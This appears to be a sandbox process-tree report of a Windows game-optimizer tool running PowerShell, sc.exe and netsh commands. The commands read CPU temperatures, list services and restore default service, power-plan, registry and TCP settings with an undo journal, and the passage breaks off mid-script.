  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1136
- C:\Windows\system32\sc.exe
  "sc" config WbioSrvc start= demand
  2⤵
  - Launches sc.exe
  PID:5444
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$ErrorActionPreference='SilentlyContinue' function RB-Emit($label,$ok,$detail){ $s = if($ok){'OK'}else{'FAIL'} $d = (\"$detail\" -replace '[\r\n\t]+',' ') Write-Output (\"STEP`t{0}`t{1}`t{2}\" -f $label,$s,$d) } function RB-Reg($root,$path,$name,$type,$val,$label){ $p = \"$($root):\$path\" try{ # Journal the CURRENT value before overwriting it, so the change can be undone later even if # this feature is no longer installed. Every RB-Reg call site gets undo for free. RB-Journal 'fps' $root $path $name if(-not(Test-Path -LiteralPath $p)){ New-Item -Path $p -Force -ErrorAction Stop | Out-Null } New-ItemProperty -LiteralPath $p -Name $name -PropertyType $type -Value $val -Force -ErrorAction Stop | Out-Null RB-Emit $label $true '' }catch{ RB-Emit $label $false $_.Exception.Message } } $rbAcSkip='easyanticheat|beservice|battleye|^vgc$|vgtray|vanguard|sguard|ace-base|anticheatexpert|gameguard|npggnt|nprotect|faceit|mhyprot|^cod$|modernwarfare|warzone|blackops|cod22-cod|valorant|fortniteclient-win64|r5apex|tslgame|rainbowsix|rustclient|destiny2|bedaisy|easyanticheat_eos|vgc|vgk|npggsvc|acegameguard|aceac|sgguard' $RBJournalPath = 'C:\Users\Admin\AppData\Local\RedBooster\undo.jsonl' $RBModule = 'fps' function RB-Journal($module,$root,$path,$name){ try { $p = \"$($root):\$path\" $prev = $null $kind = 'regdword' if (Test-Path -LiteralPath $p) { $item = Get-ItemProperty -LiteralPath $p -Name $name -ErrorAction SilentlyContinue if ($item -ne $null -and ($item.PSObject.Properties.Name -contains $name)) { $prev = $item.$name } } if ($prev -ne $null -and $prev -isnot [int] -and $prev -isnot [long]) { $kind = 'regstring'; $prev = [string]$prev } $rec = [ordered]@{ module=$module; kind=$kind; root=$root; path=$path; name=$name; prev=$prev } $line = ($rec | ConvertTo-Json -Compress -Depth 3) $dir = Split-Path -Parent $RBJournalPath if (-not (Test-Path $dir)) { New-Item -ItemType Directory -Force -Path $dir | Out-Null } Add-Content -LiteralPath $RBJournalPath -Value $line -Encoding UTF8 -ErrorAction SilentlyContinue } catch { } } function RB-JournalP($module,$full,$name){ try { $f = [string]$full # Accept 'HKLM:\path', 'HKLM:path', 'Registry::HKEY_LOCAL_MACHINE\path' and PSPath forms. $f = $f -replace '^Registry::HKEY_LOCAL_MACHINE\\?', 'HKLM:\' $f = $f -replace '^Registry::HKEY_CURRENT_USER\\?', 'HKCU:\' $f = $f -replace '^Registry::HKEY_USERS\\?', 'HKU:\' $f = $f -replace '^Microsoft\.PowerShell\.Core\\Registry::HKEY_LOCAL_MACHINE\\?', 'HKLM:\' $f = $f -replace '^Microsoft\.PowerShell\.Core\\Registry::HKEY_CURRENT_USER\\?', 'HKCU:\' $i = $f.IndexOf(':') if ($i -lt 1) { return } $root = $f.Substring(0, $i) $sub = $f.Substring($i + 1).TrimStart('\') if ($root -eq 'HKEY_LOCAL_MACHINE') { $root = 'HKLM' } if ($root -eq 'HKEY_CURRENT_USER') { $root = 'HKCU' } RB-Journal $module $root $sub $name } catch { } } # Proxy the two registry-writing cmdlets so EVERY inline write in every script is journalled # without touching ~80 individual call sites. A PowerShell function shadows a cmdlet of the same # name, so these intercept the call, record the previous value, then delegate to the real cmdlet # by its fully-qualified name with the caller's arguments passed through untouched. # # Every parameter shape used in this codebase is covered by a test (see the `test-proxy` script # and `parses_records_written_by_powershell`): named -Path, positional path, -LiteralPath, # -PropertyType vs -Type, -Force, -ErrorAction, and the `Get-ChildItem | %{ ... $_.PSPath }` # pipeline form. `ValueFromRemainingArguments` absorbs anything unforeseen so an unexpected # parameter can never turn a registry write into a hard error. function New-ItemProperty { [CmdletBinding()] param( [Parameter(Position=0)][string[]]$Path, [string[]]$LiteralPath, [Parameter(Position=1)][string]$Name, [Parameter(Position=2)]$Value, [string]$PropertyType, [switch]$Force, [Parameter(ValueFromRemainingArguments=$true)]$Rest ) try { $t = if ($LiteralPath) { $LiteralPath } else { $Path } foreach ($one in $t) { RB-JournalP $RBModule $one $Name } } catch { } $null = $PSBoundParameters.Remove('Rest') Microsoft.PowerShell.Management\New-ItemProperty @PSBoundParameters } function Set-ItemProperty { [CmdletBinding()] param( [Parameter(Position=0)][string[]]$Path, [string[]]$LiteralPath, [Parameter(Position=1)][string]$Name, [Parameter(Position=2)]$Value, [string]$Type, [switch]$Force, [Parameter(ValueFromRemainingArguments=$true)]$Rest ) try { $t = if ($LiteralPath) { $LiteralPath } else { $Path } foreach ($one in $t) { RB-JournalP $RBModule $one $Name } } catch { } $null = $PSBoundParameters.Remove('Rest') Microsoft.PowerShell.Management\Set-ItemProperty @PSBoundParameters } $LASTEXITCODE=0; powercfg /setactive 381b4222-f694-41f0-9685-ff5bb260df2e *> $null if($LASTEXITCODE -eq 0){ RB-Emit 'Restore Balanced power plan' $true '' } else { RB-Emit 'Restore Balanced power plan' $false (\"exit \"+$LASTEXITCODE) } $svcs=@( @{n='SysMain';s='auto';r=$true}, @{n='WSearch';s='delayed-auto';r=$true}, @{n='DiagTrack';s='auto';r=$true}, @{n='Spooler';s='auto';r=$true}, @{n='CDPSvc';s='auto';r=$true}, @{n='PhoneSvc';s='demand';r=$false}, @{n='Fax';s='demand';r=$false}, @{n='MapsBroker';s='delayed-auto';r=$false}, @{n='lfsvc';s='demand';r=$false}, @{n='RetailDemo';s='demand';r=$false}, @{n='WMPNetworkSvc';s='demand';r=$false}, @{n='WpnService';s='auto';r=$true}, @{n='WbioSrvc';s='demand';r=$false} ) foreach($x in $svcs){ sc.exe config $x.n start= $x.s *> $null if($x.r){ sc.exe start $x.n *> $null } RB-Emit ('Restore service: '+$x.n) $true '' } RB-Reg 'HKCU' 'System\GameConfigStore' 'GameDVR_Enabled' 'DWord' 1 'Restore Game DVR' RB-Reg 'HKLM' 'SOFTWARE\Policies\Microsoft\Windows\GameDVR' 'AllowGameDVR' 'DWord' 1 'Restore AllowGameDVR' RB-Reg 'HKCU' 'Software\Microsoft\Windows\CurrentVersion\Explorer\VisualEffects' 'VisualFXSetting' 'DWord' 0 'Restore visual effects' RB-Reg 'HKCU' 'Control Panel\Desktop\WindowMetrics' 'MinAnimate' 'String' '1' 'Restore animations' RB-Reg 'HKCU' 'SOFTWARE\Microsoft\Windows\CurrentVersion\Themes\Personalize' 'EnableTransparency' 'DWord' 1 'Restore transparency' RB-Reg 'HKCU' 'Control Panel\Mouse' 'MouseSpeed' 'String' '1' 'Restore mouse speed' RB-Reg 'HKCU' 'Control Panel\Mouse' 'MouseThreshold1' 'String' '6' 'Restore mouse threshold1' RB-Reg 'HKCU' 'Control Panel\Mouse' 'MouseThreshold2' 'String' '10' 'Restore mouse threshold2' RB-Reg 'HKCU' 'Software\Microsoft\Windows\CurrentVersion\BackgroundAccessApplications' 'GlobalUserDisabled' 'DWord' 0 'Restore background apps' RB-Reg 'HKLM' 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Multimedia\SystemProfile' 'NetworkThrottlingIndex' 'DWord' 10 'Restore network throttling' RB-Reg 'HKLM' 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Multimedia\SystemProfile' 'SystemResponsiveness' 'DWord' 20 'Restore system responsiveness' RB-Reg 'HKLM' 'SYSTEM\CurrentControlSet\Control\PriorityControl' 'Win32PrioritySeparation' 'DWord' 2 'Restore Win32PrioritySeparation' $ifs='HKLM:\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces' Get-ChildItem -LiteralPath $ifs -ErrorAction SilentlyContinue | ForEach-Object { Remove-ItemProperty -LiteralPath $_.PSPath -Name 'TcpAckFrequency' -Force -ErrorAction SilentlyContinue Remove-ItemProperty -LiteralPath $_.PSPath -Name 'TCPNoDelay' -Force -ErrorAction SilentlyContinue } RB-Emit 'Restore Nagle on all interfaces' $true '' netsh int tcp set heuristics enabled *> $null netsh int tcp set global autotuninglevel=normal *> $null netsh int tcp set global ecncapability=default *> $null netsh int tcp set global timestamps=default *> $null netsh int tcp set global rss=default *> $null netsh int tcp set global nonsackrttresiliency=default *> $null netsh int tcp set supplemental template=internet congestionprovider=cubic *> $null RB-Emit 'Restore TCP/IP defaults' $true ''"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Power Settings
  - Hide Artifacts: Ignore Process Interrupts
  PID:6500
- - C:\Windows\system32\powercfg.exe
    "C:\Windows\system32\powercfg.exe" /setactive 381b4222-f694-41f0-9685-ff5bb260df2e
    3⤵
    - Power Settings
    PID:3444
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" config SysMain start= auto
    3⤵
    - Launches sc.exe
    PID:5376
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" start SysMain
    3⤵
    - Launches sc.exe
    PID:6780
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" config WSearch start= delayed-auto
    3⤵
    - Launches sc.exe
    PID:5392
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" start WSearch
    3⤵
    - Launches sc.exe
    PID:3460
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" config DiagTrack start= auto
    3⤵
    - Launches sc.exe
    PID:6160
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" start DiagTrack
    3⤵
    - Launches sc.exe
    PID:1368
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" config Spooler start= auto
    3⤵
    - Launches sc.exe
    PID:6608
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" start Spooler
    3⤵
    - Launches sc.exe
    PID:2528
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" config CDPSvc start= auto
    3⤵
    - Launches sc.exe
    PID:6744
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" start CDPSvc
    3⤵
    - Launches sc.exe
    PID:2856
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" config PhoneSvc start= demand
    3⤵
    - Launches sc.exe
    PID:5088
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" config Fax start= demand
    3⤵
    - Launches sc.exe
    PID:3156
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" config MapsBroker start= delayed-auto
    3⤵
    - Launches sc.exe
    PID:5956
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" config lfsvc start= demand
    3⤵
    - Launches sc.exe
    PID:1892
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" config RetailDemo start= demand
    3⤵
    - Launches sc.exe
    PID:6748
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" config WMPNetworkSvc start= demand
    3⤵
    - Launches sc.exe
    PID:2020
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" config WpnService start= auto
    3⤵
    - Launches sc.exe
    PID:6760
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" start WpnService
    3⤵
    - Launches sc.exe
    PID:4516
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" config WbioSrvc start= demand
    3⤵
    - Launches sc.exe
    PID:4488
- - C:\Windows\system32\netsh.exe
    "C:\Windows\system32\netsh.exe" int tcp set heuristics enabled
    3⤵
    PID:4544
- - C:\Windows\system32\netsh.exe
    "C:\Windows\system32\netsh.exe" int tcp set global autotuninglevel=normal
    3⤵
    PID:4568
- - C:\Windows\system32\netsh.exe
    "C:\Windows\system32\netsh.exe" int tcp set global ecncapability=default
    3⤵
    PID:6336
- - C:\Windows\system32\netsh.exe
    "C:\Windows\system32\netsh.exe" int tcp set global timestamps=default
    3⤵
    - System Time Discovery
    PID:7100
- - C:\Windows\system32\netsh.exe
    "C:\Windows\system32\netsh.exe" int tcp set global rss=default
    3⤵
    PID:236
- - C:\Windows\system32\netsh.exe
    "C:\Windows\system32\netsh.exe" int tcp set global nonsackrttresiliency=default
    3⤵
    PID:6440
- - C:\Windows\system32\netsh.exe
    "C:\Windows\system32\netsh.exe" int tcp set supplemental template=internet congestionprovider=cubic
    3⤵
    PID:4672
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3724
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6824
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$ErrorActionPreference='SilentlyContinue' function RB-Emit($label,$ok,$detail){ $s = if($ok){'OK'}else{'FAIL'} $d = (\"$detail\" -replace '[\r\n\t]+',' ') Write-Output (\"STEP`t{0}`t{1}`t{2}\" -f $label,$s,$d) } function RB-Reg($root,$path,$name,$type,$val,$label){ $p = \"$($root):\$path\" try{ # Journal the CURRENT value before overwriting it, so the change can be undone later even if # this feature is no longer installed. Every RB-Reg call site gets undo for free. RB-Journal 'fps' $root $path $name if(-not(Test-Path -LiteralPath $p)){ New-Item -Path $p -Force -ErrorAction Stop | Out-Null } New-ItemProperty -LiteralPath $p -Name $name -PropertyType $type -Value $val -Force -ErrorAction Stop | Out-Null RB-Emit $label $true '' }catch{ RB-Emit $label $false $_.Exception.Message } } $rbAcSkip='easyanticheat|beservice|battleye|^vgc$|vgtray|vanguard|sguard|ace-base|anticheatexpert|gameguard|npggnt|nprotect|faceit|mhyprot|^cod$|modernwarfare|warzone|blackops|cod22-cod|valorant|fortniteclient-win64|r5apex|tslgame|rainbowsix|rustclient|destiny2|bedaisy|easyanticheat_eos|vgc|vgk|npggsvc|acegameguard|aceac|sgguard' $RBJournalPath = 'C:\Users\Admin\AppData\Local\RedBooster\undo.jsonl' $RBModule = 'fps' function RB-Journal($module,$root,$path,$name){ try { $p = \"$($root):\$path\" $prev = $null $kind = 'regdword' if (Test-Path -LiteralPath $p) { $item = Get-ItemProperty -LiteralPath $p -Name $name -ErrorAction SilentlyContinue if ($item -ne $null -and ($item.PSObject.Properties.Name -contains $name)) { $prev = $item.$name } } if ($prev -ne $null -and $prev -isnot [int] -and $prev -isnot [long]) { $kind = 'regstring'; $prev = [string]$prev } $rec = [ordered]@{ module=$module; kind=$kind; root=$root; path=$path; name=$name; prev=$prev } $line = ($rec | ConvertTo-Json -Compress -Depth 3) $dir = Split-Path -Parent $RBJournalPath if (-not (Test-Path $dir)) { New-Item -ItemType Directory -Force -Path $dir | Out-Null } Add-Content -LiteralPath $RBJournalPath -Value $line -Encoding UTF8 -ErrorAction SilentlyContinue } catch { } } function RB-JournalP($module,$full,$name){ try { $f = [string]$full # Accept 'HKLM:\path', 'HKLM:path', 'Registry::HKEY_LOCAL_MACHINE\path' and PSPath forms. $f = $f -replace '^Registry::HKEY_LOCAL_MACHINE\\?', 'HKLM:\' $f = $f -replace '^Registry::HKEY_CURRENT_USER\\?', 'HKCU:\' $f = $f -replace '^Registry::HKEY_USERS\\?', 'HKU:\' $f = $f -replace '^Microsoft\.PowerShell\.Core\\Registry::HKEY_LOCAL_MACHINE\\?', 'HKLM:\' $f = $f -replace '^Microsoft\.PowerShell\.Core\\Registry::HKEY_CURRENT_USER\\?', 'HKCU:\' $i = $f.IndexOf(':') if ($i -lt 1) { return } $root = $f.Substring(0, $i) $sub = $f.Substring($i + 1).TrimStart('\') if ($root -eq 'HKEY_LOCAL_MACHINE') { $root = 'HKLM' } if ($root -eq 'HKEY_CURRENT_USER') { $root = 'HKCU' } RB-Journal $module $root $sub $name } catch { } } # Proxy the two registry-writing cmdlets so EVERY inline write in every script is journalled # without touching ~80 individual call sites. A PowerShell function shadows a cmdlet of the same # name, so these intercept the call, record the previous value, then delegate to the real cmdlet # by its fully-qualified name with the caller's arguments passed through untouched. # # Every parameter shape used in this codebase is covered by a test (see the `test-proxy` script # and `parses_records_written_by_powershell`): named -Path, positional path, -LiteralPath, # -PropertyType vs -Type, -Force, -ErrorAction, and the `Get-ChildItem | %{ ... $_.PSPath }` # pipeline form. `ValueFromRemainingArguments` absorbs anything unforeseen so an unexpected # parameter can never turn a registry write into a hard error. function New-ItemProperty { [CmdletBinding()] param( [Parameter(Position=0)][string[]]$Path, [string[]]$LiteralPath, [Parameter(Position=1)][string]$Name, [Parameter(Position=2)]$Value, [string]$PropertyType, [switch]$Force, [Parameter(ValueFromRemainingArguments=$true)]$Rest ) try { $t = if ($LiteralPath) { $LiteralPath } else { $Path } foreach ($one in $t) { RB-JournalP $RBModule $one $Name } } catch { } $null = $PSBoundParameters.Remove('Rest') Microsoft.PowerShell.Management\New-ItemProperty @PSBoundParameters } function Set-ItemProperty { [CmdletBinding()] param( [Parameter(Position=0)][string[]]$Path, [string[]]$LiteralPath, [Parameter(Position=1)][string]$Name, [Parameter(Position=2)]$Value, [string]$Type, [switch]$Force, [Parameter(ValueFromRemainingArguments=$true)]$Rest ) try { $t = if ($LiteralPath) { $LiteralPath } else { $Path } foreach ($one in $t) { RB-JournalP $RBModule $one $Name } } catch { } $null = $PSBoundParameters.Remove('Rest') Microsoft.PowerShell.Management\Set-ItemProperty @PSBoundParameters } RB-Reg 'HKLM' 'SYSTEM\CurrentControlSet\Control\GraphicsDrivers' 'HwSchMode' 'DWord' 1 'Hardware GPU Scheduling OFF (HAGS)' RB-Reg 'HKLM' 'SYSTEM\CurrentControlSet\Control\Session Manager\kernel' 'GlobalTimerResolutionRequests' 'DWord' 0 'Reset timer resolution (Windows-managed)' powercfg /setactive 381b4222-f694-41f0-9685-ff5bb260df2e *> $null RB-Emit 'Power plan -> Balanced (lets CPU boost higher)' $true '' $re=@( @{n='WSearch';s='delayed-auto';l='Windows Search'}, @{n='CDPSvc';s='demand';l='Connected Devices (Xbox/account sync)'}, @{n='Spooler';s='auto';l='Print Spooler'}, @{n='SysMain';s='auto';l='SysMain / Superfetch'} ) foreach($x in $re){ sc.exe config $x.n start= $x.s *> $null sc.exe start $x.n *> $null RB-Emit ('Re-enable: '+$x.l) $true '' } $pkgs='Microsoft.GamingApp','Microsoft.XboxApp','Microsoft.GamingServices','Microsoft.XboxIdentityProvider','Microsoft.XboxGameOverlay','Microsoft.XboxGamingOverlay','Microsoft.XboxSpeechToTextOverlay' $done=0 foreach($p in $pkgs){ foreach($x in (Get-AppxPackage -AllUsers -Name $p -ErrorAction SilentlyContinue)){ try{ Add-AppxPackage -DisableDevelopmentMode -Register (\"$($x.InstallLocation)\AppXManifest.xml\") -ErrorAction Stop; $done++ }catch{} } } if($done -gt 0){ RB-Emit 'Restored Xbox / Game Pass apps' $true '' } else { RB-Emit 'Opening Store to reinstall the Xbox app' $false 'Xbox app was removed - install it from the Store page that just opened' Start-Process 'ms-windows-store://pdp/?productid=9MV0B5HZVK9Z' -ErrorAction SilentlyContinue }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Power Settings
  - Hide Artifacts: Ignore Process Interrupts
  PID:6740
- - C:\Windows\system32\powercfg.exe
    "C:\Windows\system32\powercfg.exe" /setactive 381b4222-f694-41f0-9685-ff5bb260df2e
    3⤵
    - Power Settings
    PID:1224
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" config WSearch start= delayed-auto
    3⤵
    - Launches sc.exe
    PID:6244
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" start WSearch
    3⤵
    - Launches sc.exe
    PID:3620
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" config CDPSvc start= demand
    3⤵
    - Launches sc.exe
    PID:3444
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" start CDPSvc
    3⤵
    - Launches sc.exe
    PID:4876
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" config Spooler start= auto
    3⤵
    - Launches sc.exe
    PID:4620
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" start Spooler
    3⤵
    - Launches sc.exe
    PID:3572
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" config SysMain start= auto
    3⤵
    - Launches sc.exe
    PID:5880
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" start SysMain
    3⤵
    - Launches sc.exe
    PID:6988
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};Get-CimInstance Win32_StartupCommand -ErrorAction SilentlyContinue | ForEach-Object { ($_.Name + '|' + $_.Location + '|' + $_.Command) }"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  PID:4136
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1940
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};Get-CimInstance Win32_Service -ErrorAction SilentlyContinue | ForEach-Object { ($_.Name + '|' + $_.StartMode + '|' + $_.DisplayName) }"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  PID:2948
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3520
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2608
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2868
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$ErrorActionPreference='SilentlyContinue';function S($l,$t){Write-Output \"$l|$t\"};$RBJournalPath = 'C:\Users\Admin\AppData\Local\RedBooster\undo.jsonl' $RBModule = 'gametools' function RB-Journal($module,$root,$path,$name){ try { $p = \"$($root):\$path\" $prev = $null $kind = 'regdword' if (Test-Path -LiteralPath $p) { $item = Get-ItemProperty -LiteralPath $p -Name $name -ErrorAction SilentlyContinue if ($item -ne $null -and ($item.PSObject.Properties.Name -contains $name)) { $prev = $item.$name } } if ($prev -ne $null -and $prev -isnot [int] -and $prev -isnot [long]) { $kind = 'regstring'; $prev = [string]$prev } $rec = [ordered]@{ module=$module; kind=$kind; root=$root; path=$path; name=$name; prev=$prev } $line = ($rec | ConvertTo-Json -Compress -Depth 3) $dir = Split-Path -Parent $RBJournalPath if (-not (Test-Path $dir)) { New-Item -ItemType Directory -Force -Path $dir | Out-Null } Add-Content -LiteralPath $RBJournalPath -Value $line -Encoding UTF8 -ErrorAction SilentlyContinue } catch { } } function RB-JournalP($module,$full,$name){ try { $f = [string]$full # Accept 'HKLM:\path', 'HKLM:path', 'Registry::HKEY_LOCAL_MACHINE\path' and PSPath forms. $f = $f -replace '^Registry::HKEY_LOCAL_MACHINE\\?', 'HKLM:\' $f = $f -replace '^Registry::HKEY_CURRENT_USER\\?', 'HKCU:\' $f = $f -replace '^Registry::HKEY_USERS\\?', 'HKU:\' $f = $f -replace '^Microsoft\.PowerShell\.Core\\Registry::HKEY_LOCAL_MACHINE\\?', 'HKLM:\' $f = $f -replace '^Microsoft\.PowerShell\.Core\\Registry::HKEY_CURRENT_USER\\?', 'HKCU:\' $i = $f.IndexOf(':') if ($i -lt 1) { return } $root = $f.Substring(0, $i) $sub = $f.Substring($i + 1).TrimStart('\') if ($root -eq 'HKEY_LOCAL_MACHINE') { $root = 'HKLM' } if ($root -eq 'HKEY_CURRENT_USER') { $root = 'HKCU' } RB-Journal $module $root $sub $name } catch { } } # Proxy the two registry-writing cmdlets so EVERY inline write in every script is journalled # without touching ~80 individual call sites. A PowerShell function shadows a cmdlet of the same # name, so these intercept the call, record the previous value, then delegate to the real cmdlet # by its fully-qualified name with the caller's arguments passed through untouched. # # Every parameter shape used in this codebase is covered by a test (see the `test-proxy` script # and `parses_records_written_by_powershell`): named -Path, positional path, -LiteralPath, # -PropertyType vs -Type, -Force, -ErrorAction, and the `Get-ChildItem | %{ ... $_.PSPath }` # pipeline form. `ValueFromRemainingArguments` absorbs anything unforeseen so an unexpected # parameter can never turn a registry write into a hard error. function New-ItemProperty { [CmdletBinding()] param( [Parameter(Position=0)][string[]]$Path, [string[]]$LiteralPath, [Parameter(Position=1)][string]$Name, [Parameter(Position=2)]$Value, [string]$PropertyType, [switch]$Force, [Parameter(ValueFromRemainingArguments=$true)]$Rest ) try { $t = if ($LiteralPath) { $LiteralPath } else { $Path } foreach ($one in 